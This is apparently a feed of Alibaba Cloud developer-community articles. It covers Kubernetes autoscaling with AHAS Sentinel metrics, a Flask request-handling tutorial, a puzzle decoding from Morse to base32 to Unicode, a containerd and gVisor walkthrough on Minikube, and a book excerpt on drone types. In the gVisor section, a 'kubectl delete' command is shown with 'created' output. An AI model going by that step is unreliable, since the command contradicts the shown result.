        3. 创建 HPA 配置

        接下来我们针对我们的 demo Java 应用来手动创建 HPA,通过 kubectl 命令实现容器自动伸缩配置。

        AHAS Sentinel 目前支持四种 metric 判断指标:

        • ahas_sentinel_total_qps:应用的总 QPS(pass+block,平均到每台机器)
        • ahas_sentinel_pass_qps:应用的通过 QPS(平均到每台机器)
        • ahas_sentinel_block_qps:应用的拒绝 QPS(平均到每台机器)
        • ahas_sentinel_avg_rt:应用的平均响应时间

        示例 HPA:

        apiVersion: autoscaling/v2beta2
        kind: HorizontalPodAutoscaler
        metadata:
          name: ahas-sentinel-hpa
        spec:
          scaleTargetRef:
            apiVersion: apps/v1beta2
            kind: Deployment
            name: agent-foo-on-pilot
          minReplicas: 1
          maxReplicas: 3
          metrics:
            - type: External
              external:
                metric:
                  name: ahas_sentinel_total_qps
                  selector:
                    matchLabels:
                    # If you're using AHAS Sentinel pilot, then the appName and namespace
                    # can be retrieved from the annotation of target Deployment automatically.
                    # ahas.sentinel.app: "foo-service-on-pilot"
                    # ahas.sentinel.namespace: "default"
                target:
                  type: Value
                  # ahas_sentinel_total_qps > 30
                  value: 30

        上述的配置针对 agent-foo-on-pilot Deployment 对应的应用进行自动弹性伸缩,判断的指标是 AHAS Sentinel 中统计的应用 QPS(平均到每台机器),超过 30 就进行扩容,最大扩容副本数为 3。

        将以上配置保存成 ahas-sentinel-hpa.yml,我们可以执行 kubectl apply -f ahas-sentinel-hpa.yml 来创建 HPA 配置。

        4. 发起压测流量,观察弹性效果

        我们提供了发送压测流量的 image,方便测试弹性效果。以下是压测流量 runner 的 Deployment:

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: flow-runner
          labels:
            name: flow-runner
        spec:
          replicas: 1
          selector:
            matchLabels:
              name: flow-runner
          template:
            metadata:
              labels:
                name: flow-runner
            spec:
              containers:
                - name: runner
                  image: registry.cn-hangzhou.aliyuncs.com/sentinel-docker-repo/flow-runner:0.1.0
                  imagePullPolicy: Always
                  env:
                    # 在此处更新为实际的地址
                    - name: TARGET_URL
                      value: "http://112.124.154.227/foo/time"
                    # 每次请求的时间间隔(s),比如 0.1 就代表 QPS 为 10
                    - name: SLEEP_TIME
                      value: "0.1"

        我们可以控制该 runner 的副本数来控制压测的 QPS,比如上述示例中调整 replica = 3 即对应 30 QPS。

        我们可以在 容器服务控制台 - 无状态 页面将 replica 数目调成 4,使得 QPS 超过临界值,触发扩容:

        scale-4.png

        一段时间后,可以看到对应的应用容器数目自动扩容成了 2:

        hpa-to-2.png

        AHAS 控制台 - 应用流控 - 机器列表页面也可以看到增加的实例:

        machine-list.png

        然后我们再把 flow-runner 的副本数调成 1,一段时间后(约 5 分钟)对应的容器会自动缩容到一个实例:

        hpa-downscale-1.png

        hpa-to-1-console.png

        ]]>
        Python全栈快餐教程(1) - 用Flask处理HTTP请求-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Python全栈快餐教程(1) - 用Flask处理HTTP请求

        初识Flask

        Flask是最流行的Python web框架之一。

        我们来写个最小的web应用,只有一个路由先跑进来玩玩吧。

        from flask import Flask
        
        # 定义flask app对象
        app = Flask(__name__)
        
        # 处理路由
        @app.route('/')
        def index():
            return "<h1>It works!</h1>"
        
        # 运行起来,这里可以指定端口和调试属性等
        app.run(port=30000,debug=True)

        处理url路径中的数据

        比如要处理http://localhost:30000/code/test,从中获取test这个字符串,可以这样写:

        @app.route('/code/<code>')
        def complete(code):
            print('Received code:%s' % code)
            return 'Hello, %s' % code

        处理post消息

        axios出场

        要处理post消息的话,首先需要发送post消息,我们选择在前端来做这事儿吧。前端么,自然是js语言了,我们配上axios库。

        我们在node.js里写一下:

        const axios = require('axios');
        
        const instance = axios.create({
          baseURL: 'http://127.0.0.1:30000',
          timeout: 1000});
        
        instance.post('/complete', {code:'#include <iostream>试试中文行不行'})
        .then(function (response) {
          console.log('complete: '+response.data);
        })
        .catch(function (error) {
          console.log(error);
        });

        处理post数据

        其实非常简单,只要把request的data读出来就好了。因为我们从js送过来的是一个字节编码的json串,所以我们先解码一下,然后转成json格式,最后读取一下相应字段就好了:

        @app.route('/complete', methods=['POST'])
        def code_complete():
            code = request.data.decode()
            code2 = json.loads(code)
            return 'Hello'+code2.get('code')

        一些小trick

        • Windows机器的名字不要用中文,否则flask无法启动
        • 不要用6666端口,否则Chrome不认
        • POST的消息要处理,否则会报keyError返回一个错误页面
        ]]>
        1024程序员解密游戏-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800     人们喜欢造节。一些人就起哄把 10 月 24 日叫做程序员节。1024 是 2 的 10 次方,是计算机存储单位的换算率,1024 字节等于 1K,1024K 等于 1M,以此类推。因此 1024 这个数字被认为与程序员相关。

            编程的本质是组合创造,是思考,优秀的程序应该正确、简单、健壮。所谓的程序员节其实毫无意义。不过在身边有两个活动,一是亲橙里旁边有一个展台派送礼品,二是下班的时候(约 18:30) Rancher 公众号推送了一个程序员解密游戏。这个游戏其实有点意思,即贴合程序员知识,又贴合大众娱乐。注意:想要自己解题的小伙伴看完图片后就此打住,不要再往下看了。

        图片.png

            谜面主体是图片中间的一段密文,群里很快有人看出这是 摩尔斯电码(Morse code),并得到官方确认。

            摩尔斯电码(Morse code,又译为摩斯密码)是早期用于发送电报等信息的编码,与计算机使用二进制编码数据类似,摩尔斯电码使用短声嘀 di 和长声嗒 dah 两种状态编码数据。以短声嘀 di 的时间为一个时间单位 t,停顿时间也为 t,长声嗒 dah 时间为 3t 。国际摩尔斯电码给出了 26 个英文字母和 10 个阿拉伯数字的编码表,如下图所示。

        图片.png

            摩尔斯电码并非纯二进制编码(如果使用纯二进制编码,编码间的停顿应该是无意义的)。一个字符的摩尔斯电码需要使用分隔符指明边界。摩尔斯(或者维尔?)很聪明,他想到可以使用较长时间的停顿(3t)来分隔字符,还可以使用更长时间的停顿来分割单词、句子等。停顿时间虽然有意义,但并不能引入全功能的状态位(停顿本身也是状态位的边界),因此摩尔斯电码也不是 3 进制编码,大概可以叫做 2.5 进制编码。

            书写时通常使用点(.)表示滴 di,横(-)表示嗒 dah,分割符可以使用空格或 / 等。通常空白无意义,使用 / 更容易阅读和排版。可见上述密文几乎是标准的摩尔斯电码。根据图片提示,还可以回复公众号得到可复制的文本形式密文,密文如下。

        -.-/..-/..---/-/--./---/-.../--../-.-/..-/..---/.--/./-.--/
        .-./-/-.-/..-/..---/--./-.-/---/-.../.--/-.-/..-/...--/-../
        ./--/.---/.-./-.-/..-/...--/-/--/---/-.../..-/-.-/..-/...--/
        -/./-./.-../-.-./-.../../-...-/-...-/-...-/-...-/-...-/-...-

            根据编码表,就可以完成解码。为了方便人肉编码解码,还有人整理了一张字母编码表,如下图所示。

        图片.png

            为了偷懒,直接在网上找了一个 在线翻译器 。没想到这个翻译器很粗糙,还有部分编码没翻译过来,看了下未翻译的部分是数字,敢情这个翻译器只认识英文字母。

        图片.png

            还好数字部分不多,而且数字编码规则很简单(共 5 位,点在前每点加一,横在前大于 5,每横加一),可以人肉翻译补齐,如 ..---2 。这时有人在群里贴出了解码后的结果,这样是不对的,透露答案。于是我直接将其复制出来,如下,简单核对了一下,应该没问题。

        KU2TGOBZKU2WEYRTKU2GKOBWKU3DEMJRKU3TMOBUKU3TENLCBI

            稍后,官方宣布截止到 19:40 已有超过 34 人解密成功,但决定再追加 34 个名额。

            显然,解码后的这段文本仍然是一段编码。官方透露第二层加密的线索也在图片中,还确认 2 的 5 次方里有秘密,这样是不对的,透露答案。2 的 5 次方是 32,于是我打开 python3 尝试直接用 base32 解码试试。

        $ python3
        Python 3.6.8 (default, Oct  7 2019, 12:59:55) 
        [GCC 8.3.0] on linux
        Type "help", "copyright", "credits" or "license" for more information.
        >>> import base64
        >>> base64.b32decode('KU2TGOBZKU2WEYRTKU2GKOBWKU3DEMJRKU3TMOBUKU3TENLCBI')
        Traceback (most recent call last):
          File "<stdin>", line 1, in <module>
          File "/usr/lib/python3.6/base64.py", line 205, in b32decode
            raise binascii.Error('Incorrect padding')
        binascii.Error: Incorrect padding

            提示编码没有填充对齐,难道是前面摩尔斯电码没有解码完吗?回头看,果然在编码结尾 CBI 后,还有 -...- 这样的编码,上述国际摩尔斯电码表里查不出这个编码,可能是某种扩展编码,也可能根本就毫无意义。再看了下,发现原密文结尾连续出现 6 次出现此编码,或许就只是用来填充对齐 base32 编码。不管了,先尝试补 6 个 = 上去做填充对齐,再次尝试 base32 解码,竟解码成功。

        >>> base64.b32decode('KU2TGOBZKU2WEYRTKU2GKOBWKU3DEMJRKU3TMOBUKU3TENLCBI======')
        b'U5389U5bb3U4e86U6211U7684U725bn'

            解码结果出来一些数字。本来准备好解密的某一步要用上 1024 这个数字(活动源头 + 图片中有隐约出现),但同时注意到每隔 4 个字符规律的出现一个大写的 U,结尾还有一个换行符 n,熟悉 Java 或者 JSON 字符串转义的同学应该能猜到,这难道是变体的 Unicode 编码?注意:在 JSON 或 python3 里,2 字节范围的 Unicode 字符应该使用小写的 u 转义,即 uXXXX 的形式。手动解码一下试试,果然得到有意义的文字字符,总共没几个字符,全部手动解码即可。在英文编码间兜兜转转,最终通过 Unicode 回归伟大的中文。

        >>> chr(0x5389)
        '厉'
        >>> chr(0x5bb3)
        '害'

        解码结果为 厉害了我的牛,这应该就是最终解密结果了,公众号回复验证成功,不过赶不上前 n 名了。

        最后,收获是学习了摩尔斯电码(然而并没有什么用?),缺憾是准备好的 1024 这个数字竟然没用上。

        ]]>
        containerd与安全沙箱的Kubernetes初体验-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 15721732905416.jpg
        containerd是一个开源的行业标准容器运行时,关注于简单、稳定和可移植,同时支持Linux和Windows。2016年12月14日,Docker公司宣布将Docker Engine的核心组件 containerd 捐赠到一个新的开源社区独立发展和运营。阿里云,AWS, Google,IBM和Microsoft作为初始成员,共同建设 containerd 社区。2017年3月,Docker 将 containerd 捐献给CNCF(云原生计算基金会)。containerd得到了快速的发展和广泛的支持。Docker引擎已经将containerd作为容器生命周期管理的基础,Kubernetes也在2018年5月,正式支持containerd作为容器运行时管理器。2019年2月,CNCF宣布containerd毕业,成为生产可用的项目。

        containerd 从1.1版本开始就已经内置了Container Runtime Interface (CRI) 支持,进一步简化了对Kubernetes的支持。其架构图如下:

        15624000803382.jpg
        在Kubernetes场景下,containerd与完整Docker Engine相比,具有更少的资源占用和更快的启动速度。
        15721645366477.jpg

        15721645452809.jpg
        来源 containerd

        红帽主导的cri-o是与containerd竞争的容器运行时管理项目。containerd与cri-o项目相比,在性能上具备优势,在社区支持上也更加广泛。
        15721651915384.jpg

        来源 ebay的分享

        更重要的是containerd提供了灵活的扩展机制,支持各种符合OCI(Open Container Initiative)的容器运行时实现,比如runc容器(也是熟知的Docker容器),KataContainer, gVisor和Firecraker等安全沙箱容器。

        15624007123770.jpg

        在Kubernetes环境中,可以用不同的API和命令行工具来管理容器/Pod,镜像等概念。为了便于大家理解,我们可以用下图说明如何利用不同层次的API和CLI管理容器生命周期管理。

        15624008216276.jpg

        • Kubectl:是集群层面的命令行工具,支持Kubernetes的基本概念
        • crictl:是针对节点上CRI的命令行工具,文档
        • ctr:是针对containerd的命令行工具,文档

        体验

        Minikube是体验containerd作为Kubernetes容器运行时的最简单方式,我们下面将将其作为Kubernetes容器运行时,并支持runc和gvisor两种不同的实现。

        早期由于网络访问原因,很多朋友无法直接使用官方Minikube进行实验。在最新的Minikube 1.5版本中,已经提供了完善的配置化的方式,可以帮助大家利用阿里云的镜像地址来获取所需Docker镜像和配置,同时支持Docker/Containerd等不同容器运行时。

        我们创建一个Minikube虚拟机环境,详细信息可以参考 https://yq.aliyun.com/articles/221687 ,注意需要指明 --container-runtime=containerd 参数设置containerd作为容器运行时。同时registry-mirror也要替换成自己的阿里云镜像加速地址。

        $ minikube start --image-mirror-country cn --iso-url=https://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/iso/minikube-v1.5.0.iso  --registry-mirror=https://XXX.mirror.aliyuncs.com  --container-runtime=containerd
        ?  Darwin 10.14.6 上的 minikube v1.5.0
          Automatically selected the 'hyperkit' driver (alternates: [virtualbox])
        ️  您所在位置的已知存储库都无法访问。正在将 registry.cn-hangzhou.aliyuncs.com/google_containers 用作后备存储库。
        ?  正在创建 hyperkit 虚拟机(CPUs=2,Memory=2000MB, Disk=20000MB)...
        ️  VM is unable to connect to the selected image repository: command failed: curl -sS https://k8s.gcr.io/
        stdout:
        stderr: curl: (7) Failed to connect to k8s.gcr.io port 443: Connection timed out
        : Process exited with status 7
        ?  正在 containerd 1.2.8 中准备 Kubernetes v1.16.2…
        ?  拉取镜像 ...
        ?  正在启动 Kubernetes ...
        ⌛  Waiting for: apiserver etcd scheduler controller
        ?  完成!kubectl 已经配置至 "minikube"
        
        $ minikube dashboard
        ?  Verifying dashboard health ...
        ?  Launching proxy ...
        ?  Verifying proxy health ...
        ?  Opening http://127.0.0.1:54438/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/ in your default browser...

        部署测试应用

        我们通过Pod部署一个nginx应用

        $ cat nginx.yaml
        apiVersion: v1
        kind: Pod
        metadata:
          name: nginx
        spec:
          containers:
          - name: nginx
            image: nginx
            
        $ kubectl apply -f nginx.yaml
        pod/nginx created
        
        $ kubectl exec nginx -- uname -a
        Linux nginx 4.19.76 #1 SMP Fri Oct 25 16:07:41 PDT 2019 x86_64 GNU/Linux

        然后,我们开启 minikube 对 gvisor 支持

        $ minikube addons enable gvisor
          gvisor was successfully enabled
        
        $ kubectl get pod,runtimeclass gvisor -n kube-system
        NAME         READY   STATUS    RESTARTS   AGE
        pod/gvisor   1/1     Running   0          60m
        
        NAME                              CREATED AT
        runtimeclass.node.k8s.io/gvisor   2019-10-27T01:40:45Z
        
        $ kubectl get runtimeClass
        NAME     CREATED AT
        gvisor   2019-10-27T01:40:45Z

        gvisor pod进入 Running 状态的时候,可以部署gvisor测试应用。

        我们可以看到K8s集群中已经注册了一个gvisor的“runtimeClassName“。

        之后,开发者可以通过在Pod声明中的 ”runtimeClassName“来选择不同类型的容器运行时实现。比如,如下我们创建一个运行在 gvisor 沙箱容器中的 nginx 应用。

        $ cat nginx-untrusted.yaml
        apiVersion: v1
        kind: Pod
        metadata:
          name: nginx-untrusted
        spec:
          runtimeClassName: gvisor
          containers:
          - name: nginx
            image: nginx
        
        $ kubectl delete -f nginx-untrusted.yaml
        pod/nginx-untrusted created
        
        $ kubectl exec nginx-untrusted -- uname -a
        Linux nginx-untrusted 4.4 #1 SMP Sun Jan 10 15:06:54 PST 2016 x86_64 GNU/Linux
        

        我们可以清楚地发现:由于基于runc的容器与宿主机共享操作系统内核,runc容器中查看到的OS内核版本与Minikube宿主机OS内核版本相同。而gvisor的runsc容器采用了独立内核,它和Minikube宿主机OS内核版本不同。

        正是因为每个沙箱容器拥有独立的内核,减小了安全攻击面,具备更好的安全隔离特性。适合隔离不可信的应用,或者多租户场景。

        注意:gvisor在minikube中,通过ptrace进行对内核调用进行拦截,其性能损耗较大。此外gvisor的兼容性还有待增强。

        使用ctl和crictl工具

        我们现在可以进入进入Minikube虚拟机

        $ minikube ssh

        containerd支持通过名空间对容器资源进行隔离,查看现有 containerd 名空间

        $ sudo ctr namespaces ls
        NAME   LABELS
        k8s.io
        # 列出所有容器镜像
        $ sudo ctr --namespace=k8s.io images ls
        ...
        
        # 列出所有容器列表
        $ sudo ctr --namespace=k8s.io containers ls

        在Kubernetes环境更加简单的方式是利用 crictl 对pods进行操作

        # 查看pod列表
        $ sudo crictl pods
        POD ID              CREATED             STATE               NAME                                         NAMESPACE              ATTEMPT
        78bd560a70327       3 hours ago         Ready               nginx-untrusted                              default                0
        94817393744fd       3 hours ago         Ready               nginx                                        default                0
        ...
        
        # 查看名称包含nginx的pod的详细信息
        $ sudo crictl pods --name nginx -v
        ID: 78bd560a70327f14077c441aa40da7e7ad52835100795a0fa9e5668f41760288
        Name: nginx-untrusted
        UID: dda218b1-d72e-4028-909d-55674fd99ea0
        Namespace: default
        Status: Ready
        Created: 2019-10-27 02:40:02.660884453 +0000 UTC
        Labels:
            io.kubernetes.pod.name -> nginx-untrusted
            io.kubernetes.pod.namespace -> default
            io.kubernetes.pod.uid -> dda218b1-d72e-4028-909d-55674fd99ea0
        Annotations:
            kubectl.kubernetes.io/last-applied-configuration -> {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx-untrusted","namespace":"default"},"spec":{"containers":[{"image":"nginx","name":"nginx"}],"runtimeClassName":"gvisor"}}
        
            kubernetes.io/config.seen -> 2019-10-27T02:40:00.675588392Z
            kubernetes.io/config.source -> api
        
        ID: 94817393744fd18b72212a00132a61c6cc08e031afe7b5295edafd3518032f9f
        Name: nginx
        UID: bfcf51de-c921-4a9a-a60a-09faab1906c4
        Namespace: default
        Status: Ready
        Created: 2019-10-27 02:38:19.724289298 +0000 UTC
        Labels:
            io.kubernetes.pod.name -> nginx
            io.kubernetes.pod.namespace -> default
            io.kubernetes.pod.uid -> bfcf51de-c921-4a9a-a60a-09faab1906c4
        Annotations:
            kubectl.kubernetes.io/last-applied-configuration -> {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx","name":"nginx"}]}}
        
            kubernetes.io/config.seen -> 2019-10-27T02:38:18.206096389Z
            kubernetes.io/config.source -> api

        更多信息可以参考

        https://kubernetes.io/docs/tasks/debug-application-cluster/crictl/

        containerd与Docker的关系

        很多同学都关心containerd与Docker的关系,以及是否containerd可以取代Docker?
        containerd已经成为容器运行时的主流实现,也得到了Docker社区和Kubernetes社区的大力支持。Docker Engine底层的容器生命周期管理也是基于containerd实现。

        test.png
        但是Docker Engine包含了更多的开发者工具链,比如镜像构建。也包含了Docker自己的日志、存储、网络、Swarm编排等能力。此外,绝大多数容器生态厂商,如安全、监控、开发等对Docker Engine的支持比较完善,对containerd的支持也在逐渐补齐。

        所以在Kubernetes运行时环境,对安全和效率和定制化更加关注的用户可以选择containerd作为容器运行时环境。对于大多数开发者,继续使用Docker Engine作为容器运行时也是一个不错的选择。

        阿里云容器服务对containerd的支持

        在阿里云Kubernetes服务ACK,我们已经采用containerd作为容器运行时管理,来支撑安全沙箱容器和runc容器的混合部署。在现有产品中,我们和阿里云操作系统团队、蚂蚁金服一起支持了基于轻量虚拟化的runV沙箱容器,4Q也将发布基于Intel SGX的可信加密沙箱容器。

        15721673120627.jpg

        具体信息可以参考 https://help.aliyun.com/document_detail/140541.html

        和Serverless Kubernetes(ASK)中,我们也利用containerd灵活的插件机制定制和剪裁了面向nodeless环境的容器运行时实现。

        ]]>
        带你读《无人机网络与通信》之一:无人机系统概述-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 智能系统与技术丛书
        点击查看第二章
        点击查看第三章
        无人机网络与通信
        UAV Networks and Communications
        image.png

        [美] 卡米什·纳莫杜里(Kamesh Namuduri)
        [法] 塞尔日·肖梅特(Serge Chaumette) 著
        [美] 耶格·H. 金姆(Jae H. Kim)
        [美] 詹姆斯·P. G.斯特本兹(James P. G. Sterbenz)

        刘亚威 闫 娟 杜子亮 余骅欣 陈 蕾 译

        第1章

        无人机系统概述

        Jean-Marc Moschetta,Kamesh Namuduri
        本章重点从民用的角度,介绍无人机(UAV)和无人机网络的背景以及使用环境。本章将讨论无人机的类型、燃料、载荷能力、速度和航程等问题,还将讨论无人机和无人机网络在工程与技术方面的发展现状,以及无人机网络的优势,这些优势包括态势感知的提升和无人机之间通信延迟的减少。本章还将展现无人机网络的应用,无人机网络在设计、研制和部署方面的研究、机遇与挑战,以及无人机网络的研究路线图。
        近几十年来,许多术语被用来指代无人机,最近的一个称作“遥控空中系统”(Remotely Piloted Aerial System, RPAS),“遥控”意味着无人机总是要由地面上(也可能是空中、海上)的人负责操纵。这一术语和上世纪80年代无人机的老名字“遥控飞行器”(Remotely Piloted Vehicle, RPV)非常像,不过RPAS更强调空中系统不仅包括飞行器本身,而且还包括诸如地面控制站、数据链和天线等组成元素。RPAS还可以代表好几架飞行器属于相同的系统,这些飞行器可作为一个整体由单个操作人员远程操纵。在这种情况下,操作员作为远程驾驶员,不太可能真的去控制每架飞行器。
        在航空领域,驾驶一架飞行器基本上意味着要控制飞行器飞行,这是一个非常精确的概念,关系到根据重心控制飞行器姿态的能力。大多数无人机都是远程操纵的,它们几乎都由机载自动驾驶装置来控制飞行,因此无人机不是一个远程驾驶的飞行器而是一个远程操纵的飞行器,它执行发送到机上的导航指令,诸如航路点、路径和决策算法这样的导航指令,甚至可能就包含在机载计算机中,以便无须人类参与就能完成飞行任务。这样人类就可以专注更高层次的事物,如制定决策或定义策略。“远程操纵飞行器系统”(Remotely Operated Aircraft System, ROAS)这个术语可能对现在的科学团体来说更有意义。
        本书依然选择了经典的术语无人机(UAV)或无人机系统(Unmanned Aerial System, UAS)来指代无人机自己(即UAV)或整个系统(即UAS),无人机系统一般包括一组无人机(有可能就一架)、一个控制站、数据链、一个支持设备以及操作人员。

        1.1 无人机类型和任务

        许多作者已经提出了不同无人机系统的各种分类方式,比如可按照飞行器类型、尺寸、质量、任务范围、高度、航程等分类,每种分类方式都指出无人机系统某一典型特征,但这也必然忽略它的另一重要方面。无人机系统的大多数课程都从无人机分类方式开始,这都基于某种常规分类法,包括:高空长航时(High Altitude Long Endurance, HALE)无人机、中空长航时(Medium Altitude Long Endurance, MALE)无人机、战术无人机、垂直起降(Vertical Take-Off and Landing, VTOL)无人机以及小型和微型无人机。这些描述的主要缺陷在于它们基本上都是基于已有系统,混合了任务能力(VTOL、长航时)、尺寸(小型或微型)和其他特征—比如高度(高空或中空)。这样的分类方式无法为各种任务和飞行器构型的选择提供一个综合视角,而且这也使得构想未来的无人机变得非常困难,因为它植根于已有无人机系统的市场划分。
        对于不同无人机系统来说,更适合的分类方式是复式矩阵,组合了典型任务剖面以及飞行器主要构型。
        任务剖面可包括:
        1)需要垂直起降能力的(室内/室外)侦察任务;
        2)需要长航时能力的(近程/远程)监视任务;
        3)其他特定任务,如投送物资,监控包括风电机组和核电厂在内的特定设施,军事领域某些需要(低声音和雷达信号)掩护的战术任务,以及耐久的信号传送。
        就任务剖面而言,大多数最终用户如果不采用之前已定义的飞行器构型,就很难真正定义它们的任务需求。对于无人机系统设计流程来说,恰当地区分任务需求和载荷/飞行器的定义非常重要,例如,要调查海洋中的一片远方区域,要明确规定区域的大小、起飞区和待调查区域之间的距离、获得所需信息允许花费的最长时间,与后勤、法规、操作成本等相关的额外约束。如果远方区域距离起飞区很远,就必须选择一架远程飞行器。如果远方区域不太远但是需要持久监视,则无人机系统要由一架长航时飞行器或者一群小型飞行器组成,每架飞行器航程有限,但通过飞行器轮流执行任务就可以提供无限时长的监视能力,一群小型飞行器可能是权衡成本和任务之下更好的选择。确实,小型飞行器比大型的更好部署,而且由于监视区域缩小,其安装的载荷也会更便宜。
        飞行器构型一般有三种:固定翼、扑翼和旋翼构型,还应该加上第四种,即组合了前面任意两种构型的飞行器。第四种主要包括可转换飞行器,如倾转旋翼平台、倾转机翼平台或者倾转机体平台,还可包括大多数已有的扑翼飞行器,通常它将扑翼和固定翼的控制面(在尾翼或升降舵中扮演重要角色)组合到一起。其他飞行器构型如飞艇和滑翔伞,可认为是单独一类,尽管它们拥有当前和未来无人机系统的一小部分特征。

        1.1.1 固定翼无人机

        固定翼无人机的范围很广,尺寸可从微型无人机(又称微型飞行器,Micro Air Vehicle, MAV)一直到几乎超过任何已有常规飞行器的无人机。固定翼MAV的一个例子是航空环境公司的“黄蜂”(Wasp),是翼展41cm、重量275g的电动飞翼MAV。更小的固定翼MAV也可设计出来,比如2005年佛罗里达大学的Peter Ifju教授开发了翼展10cm的柔性翼MAV(如图1-1所示)[26]。
        image.png

        图1-1 翼展10cm的固定翼MAV(Michall Sytsma提供)

        与极小尺寸的固定翼无人机相比,波音公司的“太阳鹰”(SolarEagle,如图1-2所示)应该算是一种“卫星无人机”,它可以连续24h不间断地飞行一周时间,这归功于其机翼上面覆盖的太阳能电池以及对机体制造的超严格限制带来的极轻重量。这架翼展130m的固定翼太阳能动力无人机必须对抗“平方–立方定律”,即重量的增加速度要快于机翼面积。因此,太阳能无人机更适合做成更小的尺寸,因为与大型飞行器相比,其大部分动力都可以从太阳那里获得。
        举例说明,一款翼展50cm、名为“太阳风暴”(Solar-Storm)的固定翼无人机已经被设计和制造出来,其机翼被柔性太阳能电池覆盖,可以延长完全由标准电池作为动力的同款无人机的续航里程。在天气晴好的日子,“太阳风暴”(如图1-3所示)[7]最多可以从太阳能提取飞行所需总动力的45%。从实用的角度看,这么小的太阳能动力飞行器不需要那种插到电源中的电池充电装置,当一架小型无人机在空中时,同样的一架可以在地面为自己充电。
        image.png

        图1-2 飞行中的波音“太阳鹰”示意(照片版权:波音)

        image.png

        图1-3 翼展50cm的固定翼太阳能动力无人机(来自Murat Bronz的“太阳风暴”)

        尽管固定翼无人机从本质上讲是难以悬停的,但是比起旋翼无人机,它们仍是远程或长航时监视任务的优良候选者,就连手持发射的中型固定翼无人机(少于10 kg)也可以一天在空中保持8h,这通常足以完成一个典型的监视任务。尽管常规飞机的设计已经是广为人知的工程技术,但是由于低雷诺效应会使空气动力和推进性能降低,导致小型或微型无人机的设计知识仍不成体系。为了实现良好的性能,需要专门针对小型无人机领域,精细地应用和改良设计和制造技术。此外,长航时的需求依赖的高比值,其中CL表示升力系数,CD表示阻力系数,因此,长航时固定翼无人机对应着相当高的升力系数值,这可能导致巡航条件接近机翼失速,设计一架长航时固定翼无人机应当明确最小载荷系数和起降性能的需求,之后还要进行专门的风洞试验和优化流程,如图1-4所示,显示了Delair技术公司在法国航空航天大学(Institut Supérieur de l’Aéronautique et de l’Espace, ISAE)低速风洞中开发小型固定翼无人机DT18[133]。
        image.png

        图1-4 一架翼展1.8m的固定翼长航时无人机(来自Delair技术公司的DT18)

        近年来除了在燃料电池小型化上取得的进展,还有一种方式可以极大提升小型无人机的续航能力,即从大气中提取能量。能量收集可使用热气流实现,比如滑翔机或有风速梯度的情况,诠释这种机理的最好例子是信天翁的飞翔,它受益于海面上由大气边界层创造的风速梯度,这种现象也称作“动态翱翔”,现在可以更好地理解它并可对它进行数学仿真,一些作者认为动态翱翔的原理可用来制造无人机,用于海上监视、监测以及搜索与救援任务(如图1-5所示)[1]。
        image.png

        图1-5 由信天翁飞行启发的小型长航时无人机概念(Philip Richardson拍摄,2012)

        1.1.2 扑翼无人机

        从航空学出现伊始,一些作者就主张工程师应该从已有的飞行动物(鸟或昆虫)中获得灵感。持这一观点的人们认为,动物在漫长的进化中逐步将飞行最优化,那些迷人的案例包括了许多种类的小型和大型飞行动物,从已知最小的飞行昆虫柄翅卵蜂(长0.15mm)到著名的飞行恐龙无齿翼龙(翼展7m,体重仍有争议)[450],特别应该提到的是蜂鸟,它是航空环境公司最近开发的纳米飞行器的灵感来源(如图1-6)[254]。
        image.png

        图1-6 航空环境公司图片(左图由Getty图像公司Lavvy Keller和Litiz Ba提供,右图由Coral von Zumwalt公司提供)

        由于涉及内部流场的复杂性和不稳定性,理解扑翼的空气动力学很大程度上仍然是一个悬而未绝的问题,过去40多年来,许多研究团体都将其作为兴趣点,开展了多种实验和数值技术方法研究。
        现在很难确定扑翼飞行是否真比旋翼系统更高效,事实证明,与常规的旋翼相比,鸟和昆虫即使是在很低的雷诺数下,也没有特别高效的悬停方式[294],而且最近的研究表明,扑翼可能对某些昆虫来说不如之前想的那样高效[308]。空气动力学性能如此差的原因,应该与翅膀拍打运动的起始和结束位置上气动力学效率很低有关,因为相对空速在那些点变得非常低,相反,一副旋翼旋转过程中几乎可以提供恒定的升力。
        扑翼的另一个局限是其固有的技术复杂性。在飞行中扑翼同时提供升力和推力,并且还涉及俯仰、横滚和偏航控制,这让自动驾驶装置极难设计。最后,旋翼没有从自然系统中生物进化的事实,不会阻碍工程师将旋翼无人机视为垂直起降任务的候选者,车轮、螺旋桨或旋翼虽然高效,但都不是出自自然界进化过程。一些作者指出自然界也不是这样缺乏想象力,比如枫树种子或细菌鞭毛的运动,不过枫树种子只是一个被动的旋翼滑翔机,从树上掉落时要靠其较大的升阻比到达远处,SAMARAI单翼纳米飞行器就是受枫树种子飞行启发的,它以置于翼梢的微喷流为动力,总重仅10g[463]。
        长远来看,扑翼无人机可能在特定的图像识别任务中变得非常有用,执行任务需要隐蔽性,而它们模仿鸟或昆虫以及可从人类视线轻易消失的能力正合适。扑翼无人机还可受益于新材料,如与各种微机电系统(Micro-Electromechanical System, MEMS)相关的电活性聚合物[176]。此外,近来微制造技术的发展也使得复杂的铰接机构可以做得非常小,现在已可做出像昆虫那样的共鸣胸腔[452]。

        1.1.3 旋翼无人机

        与固定翼无人机的局限性和扑翼无人机的复杂性相比,旋翼无人机吸引了科学团体的海量注意力。据最近公开的数据,当前在法国飞行并由法国民航机构注册在案的3 000~
        4 000架无人机中,约80%是有多个旋翼的旋翼飞行器。旋翼无人机广受关注的第一个原因是旋翼构型提供了悬停的能力,这对保证清晰的图像识别至关重要,悬停还是一种很容易起降的方式,无须复杂的程序,比如准备好的跑道或特殊的降落装置,而且多旋翼很好制造并且非常易于室内飞行。十几年前几乎只能见到四旋翼的多旋翼,但近来多旋翼飞行器已经包括了六旋翼、八旋翼以及各种共轴多旋翼的组合。增加旋翼数量被认为是提高安全性的好方法,因为如果一个电机坏了,其他电机可以立即补偿校正。通常不同的旋翼以相同的方位角分布,不过一些设计者也选择采用与之不同的构型,以便在飞行器前方获得更好的视野,比如ASTEC公司的“隼8”(Falcon 8),近两年很受欢迎(如图1-7所示)。
        image.png

        图1-7 一架由上升技术公司开发的小型八旋翼无人机(照片版权:Lakeside Labs GmbH)

